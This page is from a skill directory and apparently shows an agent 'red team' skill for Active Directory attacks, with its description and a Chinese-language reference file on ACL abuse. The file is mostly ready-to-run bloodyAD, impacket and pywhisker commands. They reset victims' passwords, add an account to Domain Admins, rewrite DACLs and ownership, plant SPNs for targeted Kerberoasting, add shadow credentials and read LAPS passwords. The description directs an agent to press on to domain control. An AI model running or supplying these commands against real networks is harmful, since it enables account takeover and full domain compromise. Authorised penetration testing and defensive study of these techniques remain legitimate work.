pale-knight/redteam-skill / skills/ad-attack
ad-attack
VerifiedActive Directory exploitation after domain credentials exist: Kerberos (AS-REP/Kerberoast including cracking the ticket then using the account), delegation, NTLM coercion/relay, lateral movement, ACL abuse, ADCS ESC1-ESC17 and CVE paths, dMSA/BadSuccessor, Kerberos reflection, identity confusion, management-plane, domain trust, and domain persistence. Own the current AD chain through crack-and-use to DA, equivalent domain control, or the targeted host SYSTEM. Do not stop after requesting TGS. Host C2 belongs to /post. Operator chooses next modules.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 6.3 KB |
| references/acl-abuse.md | markdown | 3.6 KB |
| references/adcs.md | markdown | 13.9 KB |
| references/auth-reflection.md | markdown | 4.5 KB |
| references/authentication-coercion-relay.md | markdown | 6.6 KB |
| references/dmsa.md | markdown | 6.1 KB |
| references/identity-confusion.md | markdown | 3.6 KB |
| references/kerberos-attacks.md | markdown | 2.9 KB |
| references/lateral-movement.md | markdown | 2.0 KB |
| references/management-plane.md | markdown | 2.1 KB |
references/acl-abuse.md
View on GitHub# ACL 滥用场景 + 命令
---
## 枚举ACL
```
# BloodyAD(首选,从Kali执行)
bloodyAD --host DC-IP -d corp.com -u jen -p 'pass' get writable --right ALL
bloodyAD ... get writable --right WRITE --otype user
bloodyAD ... get writable --right WRITE --otype group
# impacket dacledit
impacket-dacledit -action read -target '<target>' corp.com/jen:'pass'
# BloodHound → 找 GenericAll/WriteDACL/Owns 等边
```
## GenericAll
### 对用户
```
# 改密码(BloodyAD,从Kali执行)
bloodyAD --host DC-IP -d corp.com -u jen -p 'pass' set password victim 'NewPass123!'
# 设SPN后Kerberoast(目标化Kerberoast)
bloodyAD --host DC-IP -d corp.com -u jen -p 'pass' set object victim servicePrincipalName -v 'fake/spn'
impacket-GetUserSPNs corp.com/jen:'pass' -dc-ip DC-IP -request -target-user victim
bloodyAD ... set object victim servicePrincipalName # 清理(清空SPN)
# Shadow Credentials
bloodyAD --host DC-IP -d corp.com -u jen -p 'pass' add shadowCredentials victim
# 或 pywhisker
python3 pywhisker.py -d corp.com -u jen -p 'pass' --target victim --action add
```
### 对组
```
# 加自己进组(BloodyAD)
bloodyAD --host DC-IP -d corp.com -u jen -p 'pass' add groupMember 'Domain Admins' jen
# 或 net命令(域内Windows)
net group "Domain Admins" jen /add /domain
```
### 对计算机
```
# RBCD(见kerberos-attacks.md 5.4)
# 读 LAPS:legacy + Windows LAPS,完整 schema/rights 见 ../../ad-recon/references/windows-laps.md
nxc ldap DC-IP -u jen -p 'pass' -M laps
bloodyAD --host DC-IP -d corp.com -u jen -p 'pass' get object 'TARGET$' --attr ms-Mcs-AdmPwd
bloodyAD --host DC-IP -d corp.com -u jen -p 'pass' get object 'TARGET$' --attr msLAPS-Password
# encrypted Windows LAPS material 由有权限的 Windows LAPS cmdlet 读取/解密
```
## GenericWrite
```
# 对用户 → 设SPN后Kerberoast(同上)或Shadow Credentials
# 对计算机 → RBCD
# 对GPO → GPO abuse(加本地管理员等)
```
## WriteDACL
```
# impacket dacledit(首选,从Kali执行)
impacket-dacledit corp.com/jen:'pass' -action write -rights FullControl -principal jen -target "Domain Admins"
# 然后按GenericAll利用
# BloodyAD
bloodyAD --host DC-IP -d corp.com -u jen -p 'pass' add genericAll 'CN=Domain Admins,CN=Users,DC=corp,DC=com' jen
```
## WriteOwner
```
# impacket owneredit
impacket-owneredit -action write -owner jen -target 'Domain Admins' corp.com/jen:'pass'
# 然后WriteDACL给自己加权限
impacket-dacledit corp.com/jen:'pass' -action write -rights FullControl -principal jen -target "Domain Admins"
# BloodyAD
bloodyAD --host DC-IP -d corp.com -u jen -p 'pass' set owner 'Domain Admins' jen
```
## ForceChangePassword
```
# BloodyAD(首选)
bloodyAD --host DC-IP -d corp.com -u jen -p 'pass' set password victim 'NewPass!'
# impacket
impacket-changepasswd corp.com/victim@DC-IP -newpass 'NewPass!'
```
## Self(Self-Membership)
```
# BloodyAD
bloodyAD --host DC-IP -d corp.com -u jen -p 'pass' add groupMember 'Target Group' jen
# net命令
net group "Target Group" jen /add /domain
```
---
## 现代ACL路由(2025-2026)
传统GenericWrite/GenericAll之外,再检查:
```
GenericWrite/GenericAll on User/Computer
├─ Shadow Credentials
├─ Targeted Kerberoast(User)
└─ ResetNightmare(CVE-2026-27912,只有未修补DC)
CreateChild/GenericAll on OU
├─ 可创建受控User/Computer → ResetNightmare候选(未修补)
└─ Server 2025 DC → dMSA候选
CreateChild OU + Write target User/Computer
→ post-patch SharpSuccessor候选
```
ResetNightmare会真实改变目标密码 → `identity-confusion.md`。
dMSA → `dmsa.md`。
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| planning-and-task-breakdownaddyosmani/agent-skillsBreaks work into ordered tasks. Use when you have a spec or clear requirements and need to break work into implementable tasks. Use when a task feels too large to start, when you need to estimate scope, or when parallel work is possible. | Stars: 119k | Updated | Claude CodeCodex | Verified | Install |
| screenpipethedotmack/claude-memSearch screen and audio history recorded by Screenpipe and optionally save selected context into claude-mem. Use when the user asks to recall desktop activity, a meeting, or something seen in another app through Screenpipe. | Stars: 118k | Updated | Claude CodeCodex | Verified | Install |
| contact-widgetnexu-io/open-designSelf-contained floating chat widget with welcome screen, social links, meeting button, and message input. Single HTML file, zero dependencies. | Stars: 108k | Updated | Claude CodeCodex | Verified | Install |
| meeting-notesnexu-io/open-designMeeting notes page — title bar with attendees, agenda checklist, decisions block, action items table with owners + dates, and a "next meeting" footer. Use when the brief mentions "meeting notes", "minutes", "1:1 notes", "all-hands recap", or "会议纪要". | Stars: 108k | Updated | Claude CodeCodex | Verified | Install |